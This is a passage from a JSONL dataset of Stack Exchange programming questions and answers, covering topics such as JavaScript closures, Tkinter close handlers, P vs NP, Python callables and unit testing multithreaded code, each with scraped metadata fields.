{};\n\n(function foo(n) {\n  let numbers = []\n\n  function format(n) {\n    return Math.trunc(n)\n  }\n\n  function tick() {\n    numbers.push(Math.random() * 100)\n  }\n\n  function toString() {\n    return numbers.map(format)\n  }\n\n  n.counter = {\n    tick,\n    toString\n  }\n}(namespace))\n\nconst counter = namespace.counter\ncounter.tick()\ncounter.tick()\nconsole.log(counter.toString())\n```\n```\nExamples\nExample 1\nThis example shows that the local variables are not copied in the closure: the closure maintains a reference to the original variables\nthemselves\n. It is as though the stack-frame stays alive in memory even after the outer function exits.\n```\n```\nfunction foo() {\n  let x = 42\n  let inner = () => console.log(x)\n  x = x + 1\n  return inner\n}\n\nfoo()() // logs 43\n```\n```\nExample 2\nIn the following code, three methods\n```\nlog\n```\n,\n```\nincrement\n```\n, and\n```\nupdate\n```\nall close over the same lexical environment.\nAnd every time\n```\ncreateObject\n```\nis called, a new execution context (stack frame) is created and a completely new variable\n```\nx\n```\n, and a new set of functions (\n```\nlog\n```\netc.) are created, that close over this new variable.\n```\n```\nfunction createObject() {\n  let x = 42;\n  return {\n    log() { console.log(x) },\n    increment() { x++ },\n    update(value) { x = value }\n  }\n}\n\nconst o = createObject()\no.increment()\no.log() // 43\no.update(5)\no.log() // 5\nconst p = createObject()\np.log() // 42\n```\n```\nExample 3\nIf you are using variables declared using\n```\nvar\n```\n, be careful you understand which variable you are closing over. Variables declared using\n```\nvar\n```\nare hoisted. This is much less of a problem in modern JavaScript due to the introduction of\n```\nlet\n```\nand\n```\nconst\n```\n.\nIn the following code, each time around the loop, a new function\n```\ninner\n```\nis created, which closes over\n```\ni\n```\n. But because\n```\nvar i\n```\nis hoisted outside the loop, all of these inner functions close over the same variable, meaning that the final value of\n```\ni\n```\n(3) is printed, three times.\n```\n```\nfunction foo() {\n  var result = []\n  for (var i = 0; i < 3; i++) {\n    result.push(function inner() { console.log(i) } )\n  }\n\n  return result\n}\n\nconst result = foo()\n// The following will print `3`, three times...\nfor (var i = 0; i < 3; i++) {\n  result[i]() \n}\n```\n```\nFinal points:\nWhenever a function is declared in JavaScript closure is created.\nReturning a\n```\nfunction\n```\nfrom inside another function is the classic example of closure, because the state inside the outer function is implicitly available to the returned inner function, even after the outer function has completed execution.\nWhenever you use\n```\neval()\n```\ninside a function, a closure is used. The text you\n```\neval\n```\ncan reference local variables of the function, and in the non-strict mode, you can even create new local variables by using\n```\neval('var foo = …')\n```\n.\nWhen you use\n```\nnew Function(…)\n```\n(the\nFunction constructor\n) inside a function, it does not close over its lexical environment: it closes over the global context instead. The new function cannot reference the local variables of the outer function.\nA closure in JavaScript is like keeping a reference (\nNOT\na copy) to the scope at the point of function declaration, which in turn keeps a reference to its outer scope, and so on, all the way to the global object at the top of the scope chain.\nA closure is created when a function is declared; this closure is used to configure the execution context when the function is invoked.\nA new set of local variables is created every time a function is called.\nLinks\nDouglas Crockford's simulated\nprivate attributes and private methods\nfor an object, using closures.\nA great explanation of how closures can\ncause memory leaks in IE\nif you are not careful.\nMDN documentation on\nJavaScript Closures\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.702808"}
{"id": "hf_d575a77fabf6", "question": "<p>Just wondering</p>\n", "question_body": "", "answer": "One of the most interesting things I have done with threads was write a multi-threaded application to solve a maze.\nWhile it's nothing ground breaking, it was definitely interesting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.755558"}
{"id": "hf_08718fcdf09e", "question": "<p>Can someone explain me how it works, starting from when you select to run a test</p>\n", "question_body": "", "answer": "What do you mean how does it work?\nYou define your test classes with [TestFixture] and your tests with [Test]\nIt's nothing more than a testing framework, you still have to write the tests and all of that jazz :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.789764"}
{"id": "hf_152332654ba3", "question": "<p>How do I handle the window close event (user clicking the 'X' button) in a Python Tkinter program?</p>\n", "question_body": "", "answer": "Tkinter supports a mechanism called\nprotocol handlers\n. Here, the term\nprotocol\nrefers to the interaction between the application and the window manager. The most commonly used protocol is called\n```\nWM_DELETE_WINDOW\n```\n, and is used to define what happens when the user explicitly closes a window using the window manager.\nYou can use the\n```\nprotocol\n```\nmethod to\ninstall a handler\nfor this protocol (the widget must be a\n```\nTk\n```\nor\n```\nToplevel\n```\nwidget):\nHere you have a concrete example:\n```\n```\nimport tkinter as tk\nfrom tkinter import messagebox\n\nroot = tk.Tk()\n\ndef on_closing():\n    if messagebox.askokcancel(\"Quit\", \"Do you want to quit?\"):\n        root.destroy()\n\nroot.protocol(\"WM_DELETE_WINDOW\", on_closing)\nroot.mainloop()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.811008"}
{"id": "hf_c4763a065c9d", "question": "<p>What would be a good local database for a Silverlight application?  The database's main purpose is for local data caching and synchronization services. I do not believe that SQL anywhere or SQLite will work since they use unmanaged code which will not run under the silverlight sandbox</p>\n", "question_body": "", "answer": "@Aaron Fischer,\nI'm very interested in this question too. I'm looking DB for XBAP (WPF in browser) apps. Here is my question\n\"What embedded database with Isolated Storage support can you recommend?\"\nSQLite & MSSQL CE (aka SQL anywhere) wouldn't work.\nVistaDB is implemented in .NET and can work under constraints (it has support for Isolated Storage) but I'm looking for alternatives.\nAnother option is Sybase iAnywhere - but I'm not sure how to deploy it on end-user machine.\nI'm going to try DB4objects for Silverlight. If it would work, I'll update the post.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.853096"}
{"id": "hf_9c40ca810155", "question": "<p>The background should be transparent, but the text should not.</p>\n", "question_body": "", "answer": "By making an \"Enso style\" application you mean the Enso launcher?\nHere is a screenshot of it:\nalt text http://enscreenshots.softonic.com/s2en/68000/68880/3_ensolauncher03.jpg\nI would suggest at looking at the open-source C#\nCropper\napplication.  He does a similar looking GUI with transparent background.  You can open up his project and see how he implements it.\nalt text http://img352.imageshack.us/img352/726/cropperuijt3.png", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.872273"}
{"id": "hf_46cb1ee2be8d", "question": "<p>Now that it's clear <a href=\"https://stackoverflow.com/questions/100003/what-is-a-metaclass-in-python\">what a metaclass is</a>, there is an associated concept that I use all the time without knowing what it really means. </p>\n\n<p>I suppose everybody made once a mistake with parenthesis, resulting  in an \"object is not callable\" exception. What's more, using <code>__init__</code> and <code>__new__</code> lead to wonder what this bloody <code>__call__</code> can be used for.</p>\n\n<p>Could you give me some explanations, including examples with the magic method ?</p>\n", "question_body": "", "answer": "A Callable is an object that has the\n```\n__call__\n```\nmethod.  This means you can fake callable functions or do neat things like\nPartial Function Application\nwhere you take a function and add something that enhances it or fills in some of the parameters, returning something that can be called in turn (known as\nCurrying\nin functional programming circles).\nCertain typographic errors will have the interpreter attempting to call something you did not intend, such as (for example) a string.  This can produce errors where the interpreter attempts to execute a non-callable application.  You can see this happening in a python interpreter by doing something like the transcript below.\n```\n```\n[nigel@k9 ~]$ python\nPython 2.5 (r25:51908, Nov  6 2007, 15:55:44) \n[GCC 4.1.2 20070925 (Red Hat 4.1.2-27)] on linux2\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> 'aaa'()    # <== Here we attempt to call a string.\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\nTypeError: 'str' object is not callable\n>>>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.891764"}
{"id": "hf_15690b40ad43", "question": "<p>I'm looking for an .xsd schema file to drop into my Visual Studio directory to provide intellisense for the xml configuration file for the Castle Windsor IoC container. I've looked in the downloaded code for Windsor, as well as googled several different ways. I see many people asking the same question, but no answers. Anyone know if there is such a document?</p>\n", "question_body": "", "answer": "Perhaps this is what you are looking for:\nhttp://jimblogdog.blogspot.com/2008/05/castlewindsor-schema-enables-visual.html\nHere is the link to download the castle windsor schema:\nhttp://www.projectdistributor.net/Releases/Release.aspx?releaseId=427\nGood Luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:37.924416"}
{"id": "hf_08fbebee274b", "question": "<p>The question of whether P=NP is perhaps the most famous in all of Computer Science. What does it mean? And why is it so interesting?</p>\n\n<p>Oh, and for extra credit, please post a proof of the statement's truth or falsehood. :)</p>\n", "question_body": "", "answer": "A short summary from my humble knowledge:\nThere are some easy computational problems (like finding the shortest path between two points in a graph), which can be calculated pretty fast ( O(n^k), where n is the size of the input and k is a constant (in the case of graphs, it's the number of vertexes or edges)).\nOther problems, like finding a path that crosses every vertex in a graph or getting the RSA private key from the public key is harder (O(e^n)).\nBut CS speak tells that the problem is that we cannot 'convert' a non-deterministic Turing-machine to a deterministic one, we can, however, transform non-deterministic finite automatons (like the regex parser) into deterministic ones (well, you can, but the run-time of the machine will take long). That is, we have to try every possible path (usually smart CS professors can exclude a few ones).\nIt's interesting because nobody even has any idea of the solution. Some say it's true, some say it's false, but there is no consensus. Another interesting thing is that a solution would be harmful for public/private key encryptions (like RSA). You could break them as easily as generating an RSA key is now.\nAnd it's a pretty inspiring problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.020401"}
{"id": "hf_d968f66457fa", "question": "<p>I have an Interbase DB. How can I convert it to SQL Server?</p>\n", "question_body": "", "answer": "If you want to spend some money, this will do it:\nhttp://www.spectralcore.com/fullconvert/tutorials/convert-interbase-firebird-to-mssql-sql-server.php", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.044097"}
{"id": "hf_b346c20e4490", "question": "<p>Needs to be secure and able to handle thousands of users.</p>\n", "question_body": "", "answer": "Check out ADAM and AzMan.\nADAM is Active Directory Application Mode.  There is a how-to guide at:\nhttp://msdn.microsoft.com/en-us/library/ms998331.aspx\nAzMan is Authorization Manager.  There is a how-to guide at:\nhttp://msdn.microsoft.com/en-us/library/ms998336.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.075356"}
{"id": "hf_aabc8cba41f0", "question": "<p>From my own \"key logger like\" process I figured out that another process Locale is wrong (i.e. by sniffing few keys, I figured out that the foreground process Locale should be something while it is set to another). What's the best way to do this?</p>\n", "question_body": "", "answer": "I'd use\nsetLocale\nfrom within that process to change it, and notify the process about this with some form of IPC like:\nsignals\nsockets\npipes\nfrom the process who knows", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.108223"}
{"id": "hf_633e425129e9", "question": "<p>Is there a cheap way to get the dimensions of an image (jpg, png, ...)? Preferably, I would like to achieve this using only the standard class library (because of hosting restrictions). I know that it should be relatively easy to read the image header and parse it myself, but it seems that something like this should be already there. Also, I’ve verified that the following piece of code reads the entire image (which I don’t want):</p>\n\n<pre><code>using System;\nusing System.Drawing;\n\nnamespace Test\n{\n    class Program\n    {\n        static void Main(string[] args)\n        {\n            Image img = new Bitmap(\"test.png\");\n            System.Console.WriteLine(img.Width + \" x \" + img.Height);\n        }\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "Have you tried using the WPF Imaging classes?\n```\nSystem.Windows.Media.Imaging.BitmapDecoder\n```\n, etc.?\nI believe some effort was into making sure those codecs only read a subset of the file in order to determine header information. It's worth a check.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.147281"}
{"id": "hf_b721c073ed9a", "question": "<p>I have a Rails project which I neglected to build tests for (for shame!) and the code base has gotten pretty large. A friend of mine said that RSpec was a pain to use unless you use it from the beginning. Is this true? What would make him say that?</p>\n\n<p>So, considering the available tests suites and the fact that the code base is already there, what would be my best course of action for getting this thing testable? Is it really that much different than doing it from the beginning?</p>\n", "question_body": "", "answer": "Maybe start with the models? They should be testable in isolation, which ought to make them the lowest-hanging fruit.\nThen pick a model and start writing tests that say what it does. As you go along, think about other ways to test the code - are there edge cases that maybe you're not sure about? Write the tests and see how the model behaves. As you develop the tests, you may see areas in the code that aren't as clean and de-duplicated (DRY) as they might be. Now you have tests, you can refactor the code, since you know that you're not affecting behaviour. Try not to start improving design until you have tests in place - that way lies madness.\nOnce you have the models pinned down, move up.\nThat's one way. Alternatives might be starting with views or controllers, but you may find it easier to start with end-to-end transaction tests andwork your way into smaller and smaller pieces as you go along.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.213984"}
{"id": "hf_03e1d614cd6e", "question": "<p>Should simple JavaBeans that have only simple getters and setters be unit tested?? </p>\n\n<p>What about Beans with some logic in getters and setters?</p>\n", "question_body": "", "answer": "If it's not worth testing, it's not worth writing.\nThat doesn't always mean you should write tests.  Sometimes it means you should delete code.  Do you need these beans?  Do they actually do anything important?  If you need them, you should write tests.  If not, delete the code and live a happier life knowing you have less to maintain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.236951"}
{"id": "hf_1953eaebbcf7", "question": "<p>Is it OK if the same OpenSSL context is used by several different accepting sockets?</p>\n\n<p>In particular I'm using the same boost::asio::ssl::context with 2 different listening sockets.  </p>\n", "question_body": "", "answer": "Yep, SSL_CTX--which I believe is the underlying data structure--is just a global data structure used by your program. From ssl(3):\nSSL_CTX (SSL Context)\nThat's the global context structure which is created by a server or client once per program life-time and which holds mainly default values for the SSL structures which are later created for the connections.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.259993"}
{"id": "hf_8e2be2f74b2e", "question": "<p>I have some problems with Miktex installed on Windows Vista Business SP1/32 bit. I use miktex 2.7, ghostscript, and texniccenter 1 beta 7.50. When I compile a document with the following profiles: Latex=>DVI, Latex=>PDF everything works fine; the system crashes when I compile with profiles Latex=>PS and Latex=>PS=>PDF. The error is reported into a window that states: \"Dvi-to-Postscript converter has stopped working\". What can I do? I need Latex=>PS=>PDF to include my images into the final PDF.</p>\n\n<p>Thanks in advance,\nYet another LaTeX user</p>\n", "question_body": "", "answer": "If everything you need is images, you could still compile directly to PDF. You only need to have an image in PNG or JPG format, and use the following code:\n```\n```\n%in the document preamble\n\\usepackage{graphicx}\n\n%in the document, in the place where you want to put your image\n\\includegraphics{image_filename_without_extension}\n```\n```\nWhen the image is a PNG or JPG file (there are some more, I don't remember which ones ATM), you can compile the file with pdfLaTeX, but not with the normal LaTeX (i.e. you can produce a PDF, but not DVI or PS).\nOf course normally, if everything works fine, it's nice to have one copy of the image in EPS, and another in, say, PNG -- this way you can compile easily both to PDF, and to PS.\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.282743"}
{"id": "hf_390069a65023", "question": "<p>I have a simple unordered list that I want to show and hide on click using the jQuery slideUp and slideDown effect.  Everything seems to work fine, however in IE6 the list will slide up, flicker for a split second, and then disappear.</p>\n\n<p>Does anyone know of a fix for this?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "```\n```\n$(document).ready(function() {\n    // Fix background image caching problem\n    if (jQuery.browser.msie) {\n        try { \n            document.execCommand(\"BackgroundImageCache\", false, true); \n        } catch(err) {}\n    }\n};\n```\n```\nApparently\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.305624"}
{"id": "hf_6f81d843b8f4", "question": "<p>What’s the difference between <code>Response.Write()</code> and <code>Response.Output.Write()</code>? </p>\n", "question_body": "", "answer": "Nothing really.\nBut.\n```\nResponse.Write\n```\ntakes the stream in the\n```\nResponse.Output\n```\nproperty. You could set another Output stream, and in that way instead of writing back to the client, maybe write to a file or something crazy. So thats there relation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.339122"}
{"id": "hf_be09c37b61d0", "question": "<p>I want to have my PHP application labeled with the revision number which it uses, but I don't want to use <a href=\"http://en.wikipedia.org/wiki/CruiseControl\" rel=\"nofollow noreferrer\">CruiseControl</a> or update a file and upload it every time. How should I do it?</p>\n", "question_body": "", "answer": "Assuming your webroot is a checked-out copy of the subversion tree, you could parse the /.svn/entries file and hook out the revision number (4th line here)...\nIn PHP:\n```\n```\n$svn = File('.svn/entries');\n$svnrev = $svn[3];\nunset($svn);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.383255"}
{"id": "hf_79811fce8651", "question": "<p>How can I detect, using php, if the machine has oracle <code>(oci8 and/or pdo_oci)</code> installed?</p>\n\n<p>I'm working on a <code>PHP</code> project where some developers, such as myself, have it installed, but there's little need for the themers to have it.  How can I write a quick function to use in the code so that my themers are able to work on the look of the site without having it crash on them?</p>\n", "question_body": "", "answer": "I dont know if I fully understand your question but a simple way would be to do this:\n```\n```\n<?php\n  $connection = oci_connect('username', 'password', 'table');\n  if (!$connection) {\n    // no OCI connection.\n  }\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.407274"}
{"id": "hf_80e44c715a51", "question": "<p>Why is it wrong to use <code>std::auto_ptr&lt;&gt;</code> with standard containers?</p>\n", "question_body": "", "answer": "The\ncopy semantics\nof\n```\nauto_ptr\n```\nare not compatible with the containers.\nSpecifically, copying one\n```\nauto_ptr\n```\nto another does not create two equal objects since one has lost its ownership of the pointer.\nMore specifically, copying an\n```\nauto_ptr\n```\ncauses one of the copies to let go of the pointer. Which of these remains in the container is not defined. Therefore, you can randomly lose access to pointers if you store\n```\nauto_ptrs\n```\nin the containers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.453595"}
{"id": "hf_0742f00fb90e", "question": "<p>When adding new properties to classes, I find myself typing the same things over and over in xcode:</p>\n\n<ol>\n<li><code>add TYPE *NAME;</code> (in .h interface)</li>\n<li><code>add @property (nonatomic, retain) TYPE *NAME;</code> (in .h)</li>\n<li><code>add @synthesize NAME;</code> (in .m)</li>\n<li><code>add [NAME release];</code> (in .m dealloc)</li>\n</ol>\n\n<p>(I'm in a non-garbage collected environment.)</p>\n\n<p>How can I do this automatically?</p>\n", "question_body": "", "answer": "That sounds about right.  IIRC, the Objective-C 2.0 doc says you might be able to leave out step #1, but otherwise I don't know of any shortcuts.\nYou could probably write a user script to do so within Xcode.  See\nhttp://www.mactech.com/articles/mactech/Vol.23/23.01/2301XCode/index.html\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.487533"}
{"id": "hf_9c261b6668a9", "question": "<p>Is there any way to create the <em>query parameters</em> for doing a <em>GET request</em> in JavaScript?</p>\n\n<p>Just like in Python you have <a href=\"http://web.archive.org/web/20080926234926/http://docs.python.org:80/lib/module-urllib.html\" rel=\"noreferrer\"><code>urllib.urlencode()</code></a>, which takes in a dictionary (or list of two tuples) and creates a string like <code>'var1=value1&amp;var2=value2'</code>.</p>\n", "question_body": "", "answer": "If you are using\nPrototype\nthere is\nForm.serialize\nIf you are using\njQuery\nthere is\nAjax/serialize\nI do not know of any independent functions to accomplish this, though, but a google search for it turned up some promising options if you aren't currently using a library. If you're not, though, you really should because they are heaven.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.511023"}
{"id": "hf_56b21fafc60a", "question": "<p>What are some popular spam prevention methods besides CAPTCHA?</p>\n", "question_body": "", "answer": "Javascript evaluation techniques like this\nInvisible Captcha\nsystem require the browser to evaluate Javascript before the page submission will be accepted. It falls back nicely when the user doesn't have Javascript enabled by just displaying a conventional CAPTCHA test.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.581331"}
{"id": "hf_460c286cde50", "question": "<p>How do I name a result group in a Regex? (.Net)</p>\n", "question_body": "", "answer": "```\n```\n(?<NameOfGroup>[a-z]*)\n```\n```\nUse the ? syntax like in the sample above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.613377"}
{"id": "hf_8d3b60735620", "question": "<p>Basically I’ve heard that certain conditions will cause .NET to blow past the <code>finally</code> block.  Does anyone know what those conditions are?</p>\n", "question_body": "", "answer": "Unless the CLR blows up and goes down with an ExecutingEngineException (I've seen a few in the .net 1.1 days with just the right amount of COM Interop :) .. I think finally should\nalways\nexecute.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.636554"}
{"id": "hf_5eea3f695e18", "question": "<p>How would it be possible to capture the audio programmatically? I am implementing an application that streams in real time the desktop on the network. The video part is finished. I need to implement the audio part. I need a way to get PCM data from the sound card to feed to my encoder (implemented using Windows Media Format). </p>\n\n<p>I think the answer is related to the openMixer(), waveInOpen() functions in Win32 API, but I am not sure exactly what should I do.</p>\n\n<p>How to open the necessary channel and how to read PCM data from it?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "I don't think there is a direct way to do this using the OS - it's a feature that may (or may not) be present on the sound card.  Some sound cards have a loopback interface - Creative calls it \"What U Hear\".  You simply select this as the input rather than the microphone, and record from it using the normal waveInOpen() that you already know about.\nIf the sound card doesn't have this feature then I think you're out of luck other than by doing something crazy like making your own driver.  Or you could convince your users to run a cable from the speaker output to the line input :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.658321"}
{"id": "hf_007e19b28f11", "question": "<p>Some of the controls I've created seem to default to the old Windows 95 theme, how do I prevent this? Here's an example of a button that does not retain the Operating System's native appearance (I'm using Vista as my development environment):</p>\n\n<pre><code>HWND button = CreateWindowEx(NULL, L\"BUTTON\", L\"OK\", WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON,\n                                  170, 340, 80, 25, hwnd, NULL, GetModuleHandle(NULL), NULL);\n</code></pre>\n\n<p>I'm using native C++ with the Windows API, no managed code.</p>\n", "question_body": "", "answer": "I believe it has got nothing to do with your code, but you need to set up a proper\nmanifest\nfile to get the themed controls.\nSome info here:\n@msdn.com\nand here:\n@blogs.msdn.com\nYou can see a difference between application with and without manifest here:\nheaventools.com", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.733703"}
{"id": "hf_53d8a6582a2b", "question": "<p>I'm currently convering my ASP.NET v2 application to serialize/deserialize it's objects because I want to shift from inproc session state to stateserver. This is because my host, webhost4life, has a nasty tendency to recycle the worker process frequently thus causing session timeouts. Anyway... the question...</p>\n\n<p>I'm trying to not serialize things I don't need to, i.e. variables that are re-initialised each page, don't need to be serialised. Here's one of them:</p>\n\n<p> Private RollbackQueue As New Queue(Of DataServer.Rollback)</p>\n\n<p>On deserialisation, will RollbackQueue be a) nothing or b) an empty queue? My guess is that when .NET deserialises, it creates the parent object as normal and then fills in the fields one by one. Therefore, the NEW bit will fire.</p>\n\n<p>But that is a guess.</p>\n\n<p>Thanks, Rob.</p>\n", "question_body": "", "answer": "It will be nothing. The CLR serialization logic will create the object uninitialized by way of\nFormatterServices.GetSafeUnitializedObject\nwithout running any construction logic. If you need to ensure the field has a value I would recommend moving such initialization into an\n```\nInitialize()\n```\nmethod that is called both from your constructor and from a method marked with the\nOnDeserialized\nattribute.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.778778"}
{"id": "hf_0109c7cca174", "question": "<p>Is there a way to lock a row in the SQL 2005-2008 database without starting a transaction, so other processes cannot update the row until it is unlocked?</p>\n", "question_body": "", "answer": "Everything you execute in the server happens in a transaction, either implicit or explicit.\nYou can not simply lock a row with no transaction (make the row read only). You can make the database read only, but not just one row.\nExplain your purpose and it might be a better solution. Isolation levels and lock hints and\nrow versioning\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.801689"}
{"id": "hf_db07252e1722", "question": "<p>Does anyone have any advice for a consistent way to unit test a multithreaded application?  I have done one application where our mock \"worker threads\" had a thread.sleep with a time that was specified by a public member variable.  We would use this so we could set how long a particular thread would take to complete its work, then we could do our assertions.  Any ideas of a better way to do this?  Any good mock frameworks for .Net that can handle this?</p>\n", "question_body": "", "answer": "TypeMock\n(commercial) has a unit testing framework that automatically tries to find deadlocks in multithreaded applications and I think can be set up to run threads with predictable context switching.\nI saw a demo this week at a show -- apparently it's in Alpha (called Racer)\nhttp://www.typemock.com/Typemock_software_development_tools.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:38.847497"}
